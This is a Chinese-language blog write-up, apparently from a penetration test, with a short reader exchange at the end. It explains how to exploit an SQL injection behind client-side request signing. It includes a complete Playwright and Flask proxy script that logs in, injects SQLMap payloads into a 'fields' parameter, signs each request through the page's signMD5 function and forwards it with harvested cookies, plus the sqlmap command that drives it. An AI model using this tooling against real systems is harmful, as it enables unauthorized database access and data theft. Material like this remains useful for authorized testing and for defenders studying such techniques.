今天遇到一个存在SQL注入漏洞的系统。
通过手动修改参数值后确认漏洞确实存在,但是这么明显的注入漏洞,不可能留到现在等我发现啊,但是转头看他的请求包:
emmmm……这八成是要写tamper了。
在对整个请求流程一步一步分析后发现,数据包在请求前都会被一个加密/签名函数统一处理,该函数的处理过程如下图所示:
实现路径选择
由于加密流程过于复杂,且由于_timestamp参数不允许重放、加密过程中大量调用Cookie等浏览器独占API等原因,遂放弃使用其他语言重写该加密函数,这时摆在面前的有两条路:
- 写tamper对接浏览器爬虫,爬虫脚本不负责请求后端,仅监听API接口透过driver调用浏览器中的加密函数,并将加密结果返回至SQLMap。
- 编写浏览器爬虫,监听API接口做为透明代理,将SQLMap发来的Payload植入到注入点,透过driver调用浏览器中的加密函数,直接在脚本内发起请求并将请求结果返回至SQLMap。
考虑到第一种方法调试较为困难,最终采取了第二种方法作为实现路径。
最近刚好在编写一个基于playwright的浏览器爬虫,正好可以将部分代码复用。
脚本编写
由于漏洞接口需要身份认证,需要模拟输入用户信息、并点击登录按钮
from playwright.sync_api import sync_playwright page = None context = None def initPage(): global page, context p = sync_playwright().start() browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式 context = browser.new_context() page = browser.new_page() page.goto( '<loginPage>') page.fill("#username", '<username>') page.fill("#password", '<password>') page.click('.Btn_Submit') page.wait_for_load_state() page.goto('<vul_page>') initPage()
编写加密函数调用与代理接口
@server.route('/', methods=['get', 'post']) def encrypt(): global page, context, cookies payload = request.values.get('payload') fullPayload = { "_method": "component.getListData", "_param": { "bizObj": "xx", "service": "selectMore", "fields": "DZ,%s" % payload, #注入点1 "filter": "1=1 ", # 注入点2 "currentPageIndex": 1, "pageSize": 1, "orderList": [], "QueryFormData": "" } } computeResult = page.evaluate( 'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)}) if cookies == '': allcookies = page.context.cookies() for i in range(0, len(allcookies) - 1): cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value']) resp = requests.post('<vul_url>', computeResult, headers={ 'Cookie': cookies, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'}) return resp.content
之所以使用注入点1而不是2的原因是因为注入点2为布尔注入,效率较低,遂使用注入点1中的查询参数注入。
完整脚本如下
#!/usr/bin/env python from playwright.sync_api import sync_playwright import flask import json from flask import request import requests page = None context = None server = flask.Flask(__name__) cookies = '' @server.route('/', methods=['get', 'post']) def encrypt(): global page, context, cookies payload = request.values.get('payload') fullPayload = { "_method": "component.getListData", "_param": { "bizObj": "xx", "service": "selectMore", "fields": "DZ,%s" % payload, "filter": "1=1 ", "currentPageIndex": 1, "pageSize": 1, "orderList": [], "QueryFormData": "" } } computeResult = page.evaluate( 'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)}) if cookies == '': allcookies = page.context.cookies() for i in range(0, len(allcookies) - 1): cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value']) resp = requests.post('<vul_url>', computeResult, headers={ 'Cookie': cookies, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'}) return resp.content def initPage(): global page, context p = sync_playwright().start() browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式 context = browser.new_context() page = browser.new_page() page.goto( '<loginPage>') page.fill("#username", '<username>') page.fill("#password", '<password>') page.click('.Btn_Submit') page.wait_for_load_state() page.goto('<vul_page>') if __name__ == '__main__': initPage() from gevent import monkey monkey.patch_all() server.run(debug=False, port=18888, host='0.0.0.0')
最终实现效果
在浏览器测试可以正常注入后,祭出SQLMap
# sqlmap -u "http://127.0.0.1:18889/?payload=" --level 3
你好师傅,这个加解密是怎么被调用的呢
通过playwright的api来调用js中的signMD5函数实现的加密,响应是明文的不需要解密。